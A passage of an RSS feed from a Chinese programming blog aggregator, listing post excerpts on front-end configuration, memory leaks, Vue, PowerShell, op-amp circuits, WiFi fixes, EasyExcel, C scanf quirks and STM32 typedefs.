&#39;src/mobile&#39; 下的文件 (include: /\/src\/mobile\//) landscape: false, // 是否添加根据 landscapeWidth 生成的媒体查询条件 @media (orientation: landscape) landscapeUnit: &#39;vw&#39; // 横屏时使用的单位 }, &#39;postcss-preset-env&#39;: { browsers: &#39;last 2 versions&#39; //指定只对最近 2 个版本的浏览器进行兼容性处理。 } } } 四：postcss-px-to-viewport的优缺点 优点：</description>
    </item>
    <item>
      <title>内存泄漏和内存溢出的区别</title>
      <link>https://bchobby.github.io/posts/2e685e9d4e837df45e0d4f07f0e6338a/</link>
      <pubDate>Fri, 24 Mar 2023 18:04:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2e685e9d4e837df45e0d4f07f0e6338a/</guid>
      <description>参考答案&#xA;内存溢出(out of memory)：指程序在申请内存时，没有足够的内存空间供其使用，出现 out of memory。内存泄露(memory leak)：指程序在申请内存后，无法释放已申请的内存空间，内存泄露堆积会导致内存被占光。memory leak 最终会导致 out of memory。 1、概念的区分 1.1、 内存泄露 memory leak 程序运行结束后，没有释放 所占用的内存空间。&#xA;一次内存泄漏 似乎不会有大的影响，但内存泄漏 不断累积，最终可用内存会变得越来越少。&#xA;比如说，总内存大小是100 MB，有40MB的内存一直无法回收，那么可用的只有60MB 。这40MB的就是内存泄漏。&#xA;内存泄漏，就是 程序运行结束后，没有释放的内存。&#xA;1.2、 内存溢出 out of memory 程序运行时，在申请内存空间时，没有足够的内存空间供其正常使用，程序运行停止，并抛出 out of memory 。&#xA;比如程序运行时申请了一个10MB 空间， 但是当前可用内存只有5MB，程序无法正常执行，这就是内存溢出。&#xA;内存溢出 ，可以理解为 程序运行需要的内存 大于当前可用的内存。&#xA;1.3 举例 1）单例模式中，单例的生命周期和应用程序是一样长的，所以单例程序中如果持有对外部对象的引用的话，那么这个外部对象是不能被回收的，则会导致 内存泄露 的产生。&#xA;2）一些提供close的资源未闭导致 内存泄漏 。数据库连接（dataSource.getConnection() ），网络连接（socket）和 IO流的连接必须在finally中 close，否则不能被回收的。&#xA;3）读取大文件，一次读取的文件大于可用内存，会导致 内存溢出 。可用内存是1G，怎么读取2G的文件呢？建一个100MB的字节数组，读10次。&#xA;2、二者的区别和联系： 2.1、区别&#xA;内存泄露： 程序运行结束后，所占用的内存没有全部释放。&#xA;内存溢出：程序运行时，需要的内存大于当前可用的内存， 内存不足，程序无法继续执行，抛出 “内存溢出”，程序运行中断，结束。&#xA;2.2、联系&#xA;一次 内存泄露 可能对程序运行没有明显的影响，多次 内存泄露 最终会导致 内存溢出 。</description>
    </item>
    <item>
      <title>Vue-控制台显示：You are running Vue in development mode.Make sure to turn on production mode when..</title>
      <link>https://bchobby.github.io/posts/a541f3ca5f76c1f08fc7e30cd376a18b/</link>
      <pubDate>Fri, 24 Mar 2023 15:57:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a541f3ca5f76c1f08fc7e30cd376a18b/</guid>
      <description>控制台显示：You are running Vue in development mode.Make sure to turn on production mode when deploying for production.See more tips at https://vuejs.org/guide/deployment.html&#xA;如下图所示：&#xA;解决方法①：&#xA;在代码里添加输入：&#xA;&amp;lt;script type=&#34;text/javascript&#34; &amp;gt; Vue.config.productionTip = false //阻止vue在启动时生成生产提示 &amp;lt;/script&amp;gt; 如果方法①解决不了，&#xA;方法②：&#xA;在vue.js中查找以下代码（查找代码快捷键：Ctrl+Shift+F），注释掉。&#xA;目标代码块：&#xA;if (config.productionTip !== false &amp;amp;&amp;amp; typeof console !== &#39;undefined&#39;) { // @ts-expect-error console[console.info ? &#39;info&#39; : &#39;log&#39;](&#34;You are running Vue in development mode.\n&#34; + &#34;Make sure to turn on production mode when deploying for production.</description>
    </item>
    <item>
      <title>使用PowerShell运行第一个Python程序</title>
      <link>https://bchobby.github.io/posts/c89d52c26cc6ab22108cd54a9cde4090/</link>
      <pubDate>Fri, 24 Mar 2023 15:54:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c89d52c26cc6ab22108cd54a9cde4090/</guid>
      <description>使用PowerShell运行第一个Python程序 1-在PowerShell中切换当前路径2-使用Notepad++文本编辑器3-运行Hello World程序 在开发open MV之前需要掌握Python编程的一些语法及规范，open MV入门教程中使用的是PowerShell来运行Python程序，这里老师推荐使用的是Phython2。在搭建环境到运行第一个程序之前遇到了一些问题，总结一下：&#xA;1-在PowerShell中切换当前路径 方法1：打开PowerShell，并输入Set-location -Path加将要切换的路径：&#xA;Set-location -Path F:\ABC\PhyProject // F:\ABC\PhyProject为将要切换到的路径 回车&#xA;PS C:\Python27&amp;gt; Set-location -Path F:\ABC\PhyProject PS F:\ABC\PhyProject&amp;gt; 方法2：使用cd指令，进入指定目录&#xA;PS C:\Python27&amp;gt; cd F:\ABC\PhyProject PS F:\ABC\PhyProject&amp;gt; 2-使用Notepad++文本编辑器 Notepad++ 就是增强的记事本，可以免费使用，自带中文并支持很多计算机编程语言，不仅有语法高亮度显示，也有语法折叠功能，并且支持宏以及扩充基本功能的外挂模组。&#xA;Notepad++安装包下载和安装可以参考以下链接，这位老师写的很详细：&#xA;https://blog.csdn.net/weixin_53928448/article/details/125584962 3-运行Hello World程序 第一步：编辑代码&#xA;在指定工程文件夹中使用Notepad++新建一个python文件，并命为hello.py，在文件中输入代码：&#xA;print &#39;hello World!&#39; 第二部：运行代码&#xA;将PowerShell工作路径切换到工程文件夹，在控制台输入：python hello.py&#xA;PS F:\ABC\PhyProject&amp;gt; python hello.py hello World! PS F:\ABC\PhyProject&amp;gt; 向前迈进的一小步,未完待续…</description>
    </item>
    <item>
      <title>集成运放及其经典电路详解</title>
      <link>https://bchobby.github.io/posts/2d43a89e795a384934aa249d2ced1cab/</link>
      <pubDate>Fri, 24 Mar 2023 15:38:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2d43a89e795a384934aa249d2ced1cab/</guid>
      <description>文章目录 【 1. 什么是集成运放 】【 2. 集成运放的电压传输特性 】【 3. 比例运算电路 】1. 反相比例2. 同相比例3. 电压跟随器 【 4. 加减运算电路 】1. 求和反相求和运算电路同相求和运算电路 2. 加减运算电路 【 5. 积分运算电路 】【 6. 微分运算电路 】【 7. 对数运算电路 】【 8. 指数运算电路 】【 9. 仪表放大器 】【 10. 经典放大电路 】 【 1. 什么是集成运放 】 全称为：集成运算放大器&#xA;我们拆解来看：&#xA;集成：将电路封装，留出接口，使其模块化，便于移植。运算：这里涉及到的是一些数学运算，不过这里的运算对象不是简单的数字，而是电参量，是对电参量进行了加减乘除、积分、微分等计算。放大器：就是把电参量进行放大，比如把电压从1V放大至5V。 总的来说，就是通过内部元器件的电参量关系将电参量进行运算，达到放大的目的。&#xA;【 2. 集成运放的电压传输特性 】 集成运放有 同相输入端 UP和 反相输入端 UN，这里的“同相”、“反相”是指运放的输入电压UP、UN与输出电压UO之间的相位关系。从外部看，可以认为集成运放是一个双端输入、单端输出，具有高差模放大倍数、高输入电阻、低输出电阻、能较好地抑制温度漂移的 差分放大电路 。集成运放的输出电压UO与输入电压即同相输入端与反相输入端之间的电位差UP-UN之间的关系曲线称为 电压传输特性 ，即：UO=f(UP-UN)。对于正、负两路电源供电即 双电源供电的集成运放的电压传输特性 如图4.1.2(b)所示。从图示曲线可以看出，集成运放有线性放大区域(称为线性区)和饱和区域(称为非线性区)两部分。在线性区，曲线的斜率为电压放大倍数;在非线性区，输出电压只有两种可能的情况，+UOM或-UOM。由于集成运放放大的是差模信号，且没有通过外电路引入反馈，故称其电压放大倍数为差模开环放大倍数，记作Aod，因而当集成运放工作在线性区时有：uo= Aod(uP- uN)，通常Aod非常高，可达几十万倍，因此 集成运放电压传输特性中的线性区非常之窄。&#xA;集成运放的三大特性：虚短、虚断、虚地虚短：UP=UN，两输入端电压相等。虚断：IP=IN=0，两输入端的输入电流为0。虚地：UP=UN=0，当信号反向输入时存在（即信号从负输入端流进，而正输入端接地） 【 3. 比例运算电路 】 1.</description>
    </item>
    <item>
      <title>笔记本电脑连接不上WiFi怎么办？4个实用解决方法！</title>
      <link>https://bchobby.github.io/posts/3cc3df81867781b33fb8250daa4dffc9/</link>
      <pubDate>Fri, 24 Mar 2023 15:30:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3cc3df81867781b33fb8250daa4dffc9/</guid>
      <description>案例：笔记本电脑连接不上WiFi怎么办&#xA;“朋友们，想问问大家知道为什么我的笔记本电脑连接不上WiFi呢？试了好几遍还是无法连接，遇到这种情况我应该怎么解决呢？感谢大家！”&#xA;在现代生活中，笔记本电脑成为了人们必不可少的工具之一。当笔记本电脑连接不上WiFi时，这将极大地影响我们的生产和生活。笔记本电脑连接不上WiFi怎么办？这4个实用的方法你会吗？一起来学学吧！&#xA;操作环境： 演示机型：联想GeekPro2020 系统版本：Windows 10 一、笔记本电脑怎么连接WiFi 经常需要使用笔记本的朋友可能知道，没有网络的电脑就如喝不到水的乌鸦，会让很多工作都无法正常进行。笔记本电脑无线网络连接不上，可能是由各种原因造成的，比如WiFi密码错误、网络信号问题、网络设置问题、网卡驱动问题、多台设备同时连接等，今天小编给大家介绍4种实用的解决方法！&#xA;方法一：检查WiFi密码是否正确 连接WiFi时，正确输入WiFi密码是连接的前提条件。因此，如果笔记本电脑无法连接WiFi，首先应该检查是否输入了正确的WiFi密码。&#xA;注意：输入密码时应注意大小写和特殊字符，可以在其他设备上检查一下WiFi密码是否正确。&#xA;方法二：检查WiFi信号 WiFi信号差是连接不上WiFi的常见原因之一。如果我们的笔记本电脑距离WiFi路由器太远，或者电脑和路由器之间的障碍物过多，比如隔墙等，都可能会由于信号遮挡而让我们无法连接WiFi。因此，如果发现无法连接WiFi，我们可以将笔记本电脑靠近WiFi路由器，或移除周围的障碍物，以获得更好的WiFi信号。&#xA;方法三：检查网络设置 如果网络被禁用了,我们的笔记本电脑是无法找到WiFi的，当发现笔记本电脑无法连接WiFi时，我们可以先查看网络是否被禁用了，具体操作如下：&#xA;打开【设置】，点击【网络和Internet】，找到【更改适配器选项】； 2.进入后找到要连接的网络，单击右键选择【连接/断开连接】。&#xA;方法四：检查网卡驱动问题 网卡驱动程序的问题也可能导致笔记本电脑无法连接WiFi。例如，网卡驱动程序过期或损坏，都可能导致WiFi连接不上。这时我们可以通过查看网卡驱动来解决，具体操作如下：&#xA;点击进入【此电脑】，再点击【管理】；在【设备管理器】中查看是否有黄色图标，若有黄色图标，则需要重新安装网卡驱动。 3.若无黄色图标，展开【服务和应用程序】，单击【服务】，找到【WLAN AutoConfig】，单击右键选择【启动】。&#xA;笔记本电脑连接不上WiFi的原因是多样的，解决的方式也各有不同。我们可以根据实际情况采取不同的方法。笔记本电脑连接不上WiFi怎么办？相信大家看完本文已经知道该怎么操作了，有需求的朋友可以进行尝试啦！&#xA;往期推荐：&#xA;怎样找回删除的照片？4个方法快速找回！&#xA;u盘不显示怎么办？正确做法快收藏！&#xA;电脑速度慢怎么办？这些方法帮你快速提速！</description>
    </item>
    <item>
      <title>父传子，子组件是弹窗，如何监听子组件中表单的变化</title>
      <link>https://bchobby.github.io/posts/a7d1712c49aa989eac08b230bd75c0ce/</link>
      <pubDate>Fri, 24 Mar 2023 14:43:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a7d1712c49aa989eac08b230bd75c0ce/</guid>
      <description>本来是用watch监听form表单数据中的变化的，但是发型弹窗关闭，打开时也会触发watch监听函数；又试了一下同时监听子组件的visible和form，还是不行。&#xA;解决方案：在打开子组件时，复制一份给preForm，并转为字符串保存下来。在打开修改弹窗，按下确定按钮时，对比form表单和preForm中的内容！！！</description>
    </item>
    <item>
      <title>quartus-版本比较</title>
      <link>https://bchobby.github.io/posts/2d785170d08625f1f6098f256ce7f1e1/</link>
      <pubDate>Fri, 24 Mar 2023 14:43:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2d785170d08625f1f6098f256ce7f1e1/</guid>
      <description> </description>
    </item>
    <item>
      <title>前端JS/TS面试题</title>
      <link>https://bchobby.github.io/posts/eb651417c416539036c0118b3ba61e71/</link>
      <pubDate>Fri, 24 Mar 2023 14:35:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eb651417c416539036c0118b3ba61e71/</guid>
      <description>JS面试题总结 一、this指向问题（1）this的理解（2）怎样改变this的指向问题（3）Call,bind,apply三者的区别（4）容易判读错的几种this情况（5）this指向问题，说输出；这两中a,b写法，在内存消耗上有什么区别 二、手写节流（throttle）和防抖（debounce）节流（throttle）：防抖（debounce）：改进：实现第一次点击和最后一次点击生效 三、js事件循环机制（宏任务，微任务，同步任务，异步任务）（1） JS事件循环机制概念（2）为什么js是单线程（3）线程和进程是什么？举例说明（4）js引擎的执行栈（5）setTimeout、Promise、Async/Await 的区别（6） Web Worker 标准（7）浏览器是多进程的浏览器包含的进程浏览器多进程的优势进程间的通信（进程通信） 什么是进程的死锁介绍一下银行家算法linux中硬链和软链的区别介绍一下linux文件绝对路径和相对路径四、跨域（1）为什么会出现跨域问题？（2）同源策略（3）为什么需要同源策略（跨域限制）（4）什么是跨域（5）怎么允许跨域（跨域解决办法）A、JSONPB、 CORS跨域资源共享：简单请求非简单请求（预检请求） C、Nginx反向代理D、webpack （在vue.config.js文件中）中 配置webpack-dev-server 五、es6的新特性common js和es6模块的区别 六、Symbol（es6新增）Symbol的应用场景 七、let var const的区别const是怎么实现的只能赋值一次 八、介绍下set,weakset,map,weakmap的区别Set:Weakset:Map:Weakmap: 九、原型和原型链（1）构造函数（2）为什么引入原型对象prototype（3） 原型对象（4）构造函数，实例对象，原型对象三者之间的关系（5）原型链（6）原型链打印题踩坑 10、了解JS的继承吗？ES5继承与ES6继承的区别（1）继承：（2）Es5和es6继承的区别：（3）js继承的六种方法： 11、js如何定义一个类并实现继承；要求不能使用es6的语法（手写一个寄生组合式继承）组合继承（构造函数和原型链实现继承）寄生组合式继承Es6实现继承 12、讲一讲Promise；语法Promise的缺点：Promise用法Promise.thenPromise.catchPromise.allPromise.anyPromise .finallyPromise .racePromise.allSettled 13、如何中止promise链式调用14、promise发生错误，怎么捕捉15、手写promise;手写promise.all；手写promise.any;手写promise.finally；手写Promise.race；手写Promise.allSettled手写Promise手写Promise.all:手写Promise.any:手写Promise.finally:手写Promise.race:手写Promise.allSettled: 17、什么是事件委托（事件代理），为什么在父元素上绑事件，子元素上点击可能触发。事件流/事件传播事件委托的实现 18、js数据类型，怎样判断数据类型；基本数据类型和引用数据类型的区别；怎么判断一个数组是不是Array类型（insatnceof,object.prototype.toString.call）；堆和栈是什么js数据类型堆和栈判断方法Typeof:Instanceof：Object.prototype.toString.call()：可以精准判断数据类型 19、undefined和null的区别20、箭头函数与普通函数的区别是什么？21、构造函数可以使用new生成实例，那么箭头函数可以吗？为什么？箭头函数不能使用new生成实例New的过程： 22、循环（遍历）的方法，各个方法的区别遍历 23、除了for...of还有哪些方法可以遍历字符串，数组中reduce方法有哪些参数，是怎样使用的24、怎么让对象的一个属性不可被改变（1） Object.defineProperty()（2）object.preventExtensions() 25.对浏览器的理解26.对浏览器内核的理解27.浏览器所用的内核28.浏览器内核比较29.浏览器的渲染原理30、重排重绘什么时候发生重排？什么时候发生重绘？如何减少重排重绘？浏览器的优化机制 31、flat数组扁平化flat方法递归处理（递归遍历每一项，若为数组继续遍历，否则concat（拼接））用reduce实现的数组扁平化（遍历数组每一项，若为数组就继续遍历，否则就concat（连接））扩展运算符已知如下数组：var arr = [ [1, 2, 2], [3, 4, 5, 5], [6, 7, 8, 9, [11, 12, [12, 13, [14] ] ] ], 10];编写一个程序将数组扁平化并去除其中重复部分数据，最终得到一个升序且不重复的数组 32、什么是闭包；闭包的作用；使用闭包实现每秒钟打印数组中的一个数组[5,4,3,2,1]使用闭包实现每秒钟打印数组中的一个数组[5,4,3,2,1]闭包：闭包产生的原因：闭包的作用：缺点： 33、输出什么/函数每秒依次输出（1）怎么修改可以让上面代码从1到5秒依次输出0-4,写出你能想到的所有方法 33、手写:ajax请求，解释状态码含义;手写ajax状态码含义 34、手写ajax请求，用promise封装35、== 和===的区别36、JS隐式转换37、如何让if(a==1&amp;amp;&amp;amp;a==2&amp;amp;&amp;amp;a==3)条件成立？38、JS的垃圾回收机制v8引擎对垃圾回收做了哪些优化增量标记：对活动对象和非活动对象进行标记懒性清理：V8采用的是惰性清理来释放内存并发回收： 38、内存泄露（memory leak）39、内存三大件40、浏览器存储方式39、JS的设计模式模块模式原型模式观察者模式单例模式工厂模式 为什么JS单例模式不会产生互锁现象（异步） 40、考查原型和函数的打印题41、手写代码：浏览器打开了一个页面，在控制台执行脚本，获取页面TagName种类。42、连续赋值-输出以下代码的执行结果并解释为什么？（连续赋值的坑）43、操作DOM的方法创建新节点添加节点删除节点替换节点获取/查找节点属性操作getQuerySelector和getClassName的区别 44、求两个数组的并集和交集和差集45、数组的常用方法46.</description>
    </item>
    <item>
      <title>安装SeisMix计算跨密度混合面</title>
      <link>https://bchobby.github.io/posts/06b032b140ae3f8cbeb588be6be703e3/</link>
      <pubDate>Fri, 24 Mar 2023 14:09:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/06b032b140ae3f8cbeb588be6be703e3/</guid>
      <description> conda create -n SeisMix python=3.8 conda env list conda activate SeisMix conda config --add channels conda-forge cat ~/.condarc conda install mtspec numpy scipy segyio gsw jupyter matplotlib git https://github.com/alex-dickinson/SeisMix.git </description>
    </item>
    <item>
      <title>java-EasyExcel导出excel设置单元格为文本格式（含代码）</title>
      <link>https://bchobby.github.io/posts/1b6407c8154e88718a45202434200b66/</link>
      <pubDate>Fri, 24 Mar 2023 14:07:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1b6407c8154e88718a45202434200b66/</guid>
      <description>java-EasyExcel导出excel设置单元格为文本格式（含代码） 在使用EasyExcel导出excel模板时。我们会发现导出的日期和大长度数字都会自动更换格式，不是文本格式。并且在空白单元格输入日期也是格式有问题的，如下所示，可以看到当输入相同的日期时，格式会变成自适应，不是文本格式了，所以我们需要从代码里设置，导出表格的单元格固定是文本（我的项目中使用EasyExcel是2.0+的版本，不同版本可能代码实现是不同的，但是原理都是一样的）。&#xA;一、设置空白单元格的格式为文本 新建一个handler实现SheetWriteHandler接口，在创建单元格时设置格式为文本&#xA;public class CustomSheetWriteHandler implements SheetWriteHandler { // 设置100列column private static final Integer COLUMN = 100; @Override public void beforeSheetCreate(WriteWorkbookHolder writeWorkbookHolder, WriteSheetHolder writeSheetHolder) { } @Override public void afterSheetCreate(WriteWorkbookHolder writeWorkbookHolder, WriteSheetHolder writeSheetHolder) { for (int i = 0; i &amp;lt; COLUMN; i++) { // 设置为文本格式 SXSSFSheet sxssfSheet = (SXSSFSheet) writeSheetHolder.getSheet(); CellStyle cellStyle = writeWorkbookHolder.getCachedWorkbook().createCellStyle(); // 49为文本格式 cellStyle.setDataFormat((short) 49); // i为列，一整列设置为文本格式 sxssfSheet.setDefaultColumnStyle(i, cellStyle); } } } 二、设置含有数据的单元格的格式为文本 因为在自己的项目中发现，如果只是完成上面第一步，会发现导出的模板中，含有数据的单元格的格式还是常规，当重新输入后，日期又自适应，变成不是文本字符串了，所以我这里还是设置了含有数据的单元格的格式为文本</description>
    </item>
    <item>
      <title>苹果电脑录屏，掌握这两种方法就足够</title>
      <link>https://bchobby.github.io/posts/df2cc33710c85616d537b1e3c1705e10/</link>
      <pubDate>Fri, 24 Mar 2023 12:35:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df2cc33710c85616d537b1e3c1705e10/</guid>
      <description>案例：苹果电脑怎么录制电脑屏幕视频？ “我看到我身边的同学可以录制电脑屏幕，我也想尝试一下。可是它们使用的电脑是Windows电脑，而我的电脑是苹果电脑。他们录制电脑屏幕的方法并不适用于我的电脑，有没有小伙伴知道苹果电脑录屏怎么录吗？”&#xA;在现今的数字时代，屏幕录制已成为我们日常生活和工作中必不可少的一部分。苹果电脑用户也不例外。苹果电脑录屏功能在哪里？苹果电脑录屏软件哪个好用？本文将向大家介绍两种最常用的苹果电脑录屏工具：QuickTime Player和数据蛙录屏软件，帮助读者轻松地完成苹果电脑的屏幕录制。&#xA;一、苹果电脑录屏功能在哪 我们可以使用苹果电脑应用中的QuickTime Player（视频播放器，也可以用于简单的屏幕录制），进行苹果电脑录屏。如果您想要录制精美、专业的录屏，您可以尝试一下这款苹果电脑录屏神器——数据蛙录屏软件。&#xA;二、苹果电脑录屏怎么录 录屏方法1.使用QuickTime Player QuickTime Player是Mac系统中自带的多媒体播放器和屏幕录制软件，非常简单易用，无需下载安装。&#xA;使用QuickTime Player进行苹果电脑录屏&#xA;演示机型：华硕 TUF Dash FX516PM 系统版本：Windows10 软件版本：QuickTime Player 步骤1.点击打开QuickTime Player，点击“文件”菜单，选择“新建屏幕录制”。&#xA;步骤2.在出现的录制窗口中，点击红色圆形按钮开始录制。&#xA;备注：录制前，也可以通过下拉菜单选择麦克风、摄像头等选项。&#xA;录屏方法2.使用数据蛙录屏软件 数据蛙录屏软件是一款专业的屏幕录制工具，可广泛应用于游戏录制、教育培训、工作演示等领域。&#xA;使用数据蛙录屏软件进行苹果电脑录屏&#xA;演示机型：惠普(HP)战X 系统版本：Windows10 软件版本：数据蛙录屏软件 步骤1：数据蛙录屏软件是一款专为苹果电脑录屏设计的软件。录制前，需要进行下载。&#xA;步骤2：进入“视频录制”页面，录制前，可以设置录屏的范围、选择是否录制麦克风声音和摄像头视频。也可以在【设置】页面对录屏格式、帧率等进行设置，点击“REC”按钮开始录制。&#xA;步骤3：录制完成后，可以对文件进行处理（高级剪辑），点击“完成”按钮结束录制。&#xA;很多小伙伴进行苹果电脑录屏后，会发现录屏没有声音。备注：苹果电脑录屏怎么录内部声音？您可以在录制前，开启扬声器，这样可以成功录制内部声音。&#xA;以上是两款软件的简单介绍，以及使用它们进行录屏的方法，苹果电脑录屏软件哪个好用？相比QuickTime Player，数据蛙录屏软件具有以下优势：&#xA;功能强大、页面友好；可以录制屏幕、麦克风声音、摄像头画面，还可以进行视频剪辑和添加字幕等操作；流畅无水印录制视频；支持无限时长录制。 本文介绍了苹果电脑录屏两种方法：使用自带的QuickTime Player和第三方录屏软件数据蛙录屏软件。其中QuickTime Player可以方便录制简单的视频。想要录制专业复杂的内容，数据蛙录屏软件是一个更好的选择。它支持更多的录制模式，录制更高品质的视频，并支持自由编辑，是一个功能更加全面的苹果电脑录屏工具。如果您想更好地录制苹果电脑，可以下载此软件进行录制操作哦！&#xA;往期回顾：&#xA;电脑怎么既录屏又录人脸？分享2个宝藏方法，轻松学会！https://mp.csdn.net/mp_blog/creation/editor/129714266&#xA;电脑锁屏快捷键是什么？如何快速进行电脑锁屏https://blog.csdn.net/shujuwa_data/article/details/129726948&#xA;电脑自带录屏怎么使用？教您2招，快速搞定https://blog.csdn.net/shujuwa_data/article/details/129724121?spm=1001.2014.3001.5501</description>
    </item>
    <item>
      <title>Uduino和unity的联动（存在不认识设备的情况如何操作）</title>
      <link>https://bchobby.github.io/posts/a1b6d58a8ad25fb47cd2cd9bb1399f0c/</link>
      <pubDate>Fri, 24 Mar 2023 11:16:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a1b6d58a8ad25fb47cd2cd9bb1399f0c/</guid>
      <description>Uduino在导入unity有可能会出现找不到设备，此时我们可以导入Uduino Library这个插件，此时我们需要把Uduino/Arduino这个文件夹下面的文件目录拷贝到C:/Users/admin/Documents/Arduino/libraries（默认是这个目录下面）&#xA;此时我们能发现Unity可以认识Arduino设备，此时我们就可以正常看见我们的设备了&#xA;下面是示意代码&#xA;using System.Collections; using System.Collections.Generic; using UnityEngine; using Uduino; public class ArdunioTest : MonoBehaviour { /// &amp;lt;summary&amp;gt; /// 小灯管脚 /// &amp;lt;/summary&amp;gt; int pin11; /// &amp;lt;summary&amp;gt; /// 按钮管脚 /// &amp;lt;/summary&amp;gt; int pin2; /// &amp;lt;summary&amp;gt; /// Arduino设备 /// &amp;lt;/summary&amp;gt; UduinoDevice arduinoDevice; public GameObject myCube; // Start is called before the first frame update void Start() { //当连接板子时触发 UduinoManager.Instance.OnBoardConnected += OnArduinoConnected; } /// &amp;lt;summary&amp;gt; /// 当板子链接时 /// &amp;lt;/summary&amp;gt; private void OnArduinoConnected(UduinoDevice device) { //拿到pin口 pin11 = UduinoManager.</description>
    </item>
    <item>
      <title>使用VS2019编译C语言遇到的字符类型输入问题</title>
      <link>https://bchobby.github.io/posts/3d2aec265828d6c2983803d9667a281f/</link>
      <pubDate>Fri, 24 Mar 2023 08:55:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3d2aec265828d6c2983803d9667a281f/</guid>
      <description>使用vs2019编译c语言程序时，发现scanf（“%c”,&amp;amp;d）；无法输入结果 问题描述 提示：发现在循环中，始终无法输入字符，输入字符语句一直被跳过&#xA;for (int i = 0; i &amp;lt; num; i++) { printf(&#34;请输入第%d个学生的姓名:&#34;,i+1); scanf(&#34;%s&#34;,parr[i].name); printf(&#34;请输入第%d个学生的年龄:&#34;, i + 1); scanf(&#34;%d&#34;, &amp;amp;parr[i].age); printf(&#34;请输入第%d个学生的分数:&#34;, i + 1); scanf(&#34;%f&#34;, &amp;amp;parr[i].score); printf(&#34;请输入第%d个学生的性别:&#34;, i + 1); scanf(&#34; %c&#34;,&amp;amp;parr[i].sex); printf(&#34;\n第%d个学生的性别为:%c&#34;, i + 1,parr[i].sex); } 原因分析： 提示：查阅资料发现在 &#34;%c&#34;前加一个空格即” %c“即可正常输入&#xA;scanf 在接受数据时，误接收到了上一个”\n“ 导致程序直接跳过字符输入语句&#xA;原因：%c只能接收单个字符&#xA;解决方法： 方法一：再加一句scanf。&#xA;方法二：使用函数fflush，清除流，就是在每个接收字符的scanf语句前面,加上fflush(stdin);&#xA;方法三：在%c前面加空格，抵消掉\n&#xA;https://blog.csdn.net/i1178632444/article/details/5028198&#xA;https://blog.csdn.net/ztmajor/article/details/80728602</description>
    </item>
    <item>
      <title>typedef uint8_t u8；（stm32数据类型）</title>
      <link>https://bchobby.github.io/posts/fd465c2d2b0b5f22141d4c49f9112a8b/</link>
      <pubDate>Thu, 23 Mar 2023 21:26:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fd465c2d2b0b5f22141d4c49f9112a8b/</guid>
      <description>在stm32单片机的库文件里有这么一段u8和u16的定义&#xA;typedef uint8_t u8;&#xA;typedef uint16_t u16；&#xA;而uint8_t和uint16_t的定义是这样的&#xA;typedef unsigned char uint8_t;&#xA;typedef unsigned short int uint16_t;&#xA;意味着u8就是就是指代的unsigned char&#xA;意味着u16就是就是指代的unsigned short int&#xA;C语言之数据类型详解_c语言数据类型_supergirl091的博客-CSDN博客&#xA;为什么这么定义？&#xA;u8-----可以理解为无符号的8位2进制的数据，就是11111111-00000000，注意这里全部是正数，没有负数，第一位并不是符号位，u就是unsigned char的首字母，8就是8个位的意思。&#xA;u16同理&#xA;这种写法能很容易的表明有几个位，8位？16位？而最常见的数据类型就是无符号，所以u8的使用频率非常高，每次都老老实实的写unsigned char有点太烦人了，于是用u8来替代，简明易懂。&#xA;在单片机和操作系统中 typedef 会经常用到，它可以为某一个类型自定义名称。和#define比较类似。但是又有不同的地方。&#xA;typedef 创建的符号只能用于数据类型，不能用于值。而#define 创建的符号可以用于值。&#xA;typedef 是由编译器来解释，而不是预处理器。&#xA;typedef 使用起来更加灵活。&#xA;typedef的4种常见用法：&#xA;一、给已定义的变量类型起个别名&#xA;二、定义函数指针类型&#xA;三、定义数组指针类型&#xA;四、定义数组类型&#xA;总结一句话：“加不加typedef，类型是一样的“，这句话可以这样理解：&#xA;没加typedef之前如果是个数组，那么加typedef之后就是数组类型；&#xA;没加typedef之前如果是个函数指针，那么加typedef之后就是函数指针类型；&#xA;没加typedef之前如果是个指针数组，那么加typedef之后就是指针数组类型；&#xA;typedef的4种常见用法_暴躁的野生猿的博客-CSDN博客</description>
    </item>
    <item>
      <title>UnicodeDecodeError:  utf-8  codec can t decode byte 0x8b in position 1: invalid start byte</title>
      <link>https://bchobby.github.io/posts/4e420005b624214a869ccaae47c3e69e/</link>
      <pubDate>Thu, 23 Mar 2023 21:01:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e420005b624214a869ccaae47c3e69e/</guid>
      <description>今天爬虫自己blibli主页，但是一直显示这个错误，我去了主页上审查元素，明明主页上也是utf-8编码，但是就是错误，后面发现是自己响应头中加了这句&#xA;&#39;accept-encoding&#39;: &#39;gzip, deflate, br&#39;,&#xA;Accept-Encoding设置在请求头当中，会告诉服务器，我可以接受哪种编码压缩。&#xA;原因：浏览器访问网页添加&#34;Accept-Encoding&#34; = “gzip,deflate,br”没出错，是因为浏览器会自动解压缩从服务器中返回的对应的gzip压缩的网页；而我们编写的代码中，没有自动解码，将压缩后的数据当做普通的html文本来处理，会乱码。&#xA;解决方法：&#xA;1、直接删了&#39;accept-encoding&#39;: &#39;gzip, deflate, br’&#xA;2、删除gzip,br，变成&#39;accept-encoding&#39;: &#39;deflate‘也可以&#xA;不过建议直接删除就行。</description>
    </item>
    <item>
      <title>https对于http增加了什么协议？</title>
      <link>https://bchobby.github.io/posts/663ca2bb945352a22a1312a35e3fc8cd/</link>
      <pubDate>Thu, 23 Mar 2023 20:16:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/663ca2bb945352a22a1312a35e3fc8cd/</guid>
